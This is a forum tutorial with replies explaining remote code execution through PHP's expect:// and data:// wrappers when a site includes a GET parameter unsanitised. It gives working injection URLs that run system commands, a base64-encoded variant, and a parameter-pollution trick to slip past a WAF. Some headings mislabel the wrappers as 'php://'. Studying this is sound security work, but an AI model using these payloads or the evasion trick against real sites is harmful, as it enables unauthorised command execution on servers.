Remote Code Execution Through PHP Wrappers

Keeper
10 years ago | edited 4 years ago

2

Since I’ve not seen some of these methods covered around here (except for php://filter and php://input), I decided to put up some material on ‘em. Basically, they are more than self-explanatory but I still feel the need to tutorialize the process. First of all, in order to execute anything, you’d need to comply with the following conditions:

  • $_GET parameter - Which we’ll be passing the payload to
  • Version of PHP - 4.3+ for expect:// and 5.2+ for data://
  • allow_url_include function enabled - In order to inject through the parameter

php://expect

The expect:// wrapper is not enabled by default as it’s an extension from the PECL package (consider it installed for now). The syntax it accepts is:

expect://[command]  

Consider this small snippet running on the backend:

<?php  

include $_GET['page'];  
//..  
?>  

Now we can pretty much run everything php-valid through it. so take the following URL for instance:

http://example.com/Keeper.php?page=expect://id  

Image

php://data

The data:// wrapper bears the same concept. Syntax followed:

data://text/plain;base64,[command encoded in base64]  

or we can simply:

data://text/plain,[command]  

We’ll take under account that we’ll be using the above inclusion of the $_GET parameter so there be two possible scenarios:

http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTI4JTI3aWQlMjclMjklM0IlM0YlM0U=  
http://example.com/Keeper.php?page=data://text/plain,<?system('id');?>  

In case of a WAF, filtering out code that is after the wrapper as in the last examples, we can use parameter pollution to pass/split our payload into two parts, resulting in both parameters being concatenated and separated by a comma likewise:

http://example.com/Keeper.php?page=data://text/plain&page=<?system('id');?>  

For the HPP part, I have this covered here, won’t rephrase it again:
IDS & WAF Evasion with HTTP Parameter Pollution

Small and tidy.

4replies
5voices
5,081views
1image
oxide
10 years ago

1

very nice this is one of my favorite types of attack i also love to use the php filter to encode base64 to use with lfi

guuf
10 years ago

1

Youve done it again. Written so well even a weak hacker like myself, gets it. I going to start calling these excellent article/tutorial Keepers! Thank you.

jeadelmer
10 years ago

2

yeah … just keep trying.
i know it takes a lot of time to learn,
but you have to admit it’s FUN .
right>?
:P

Aleks [Hashcode]
10 years ago

1

Thanks for this i will use it also nice tutorial.

You must be logged in to reply to this discussion. Login
1 of 5

This site only uses cookies that are essential for the functionality of this website. Cookies are not used for tracking or marketing purposes.

By using our site, you acknowledge that you have read and understand our Privacy Policy, and Terms of Service.

Dismiss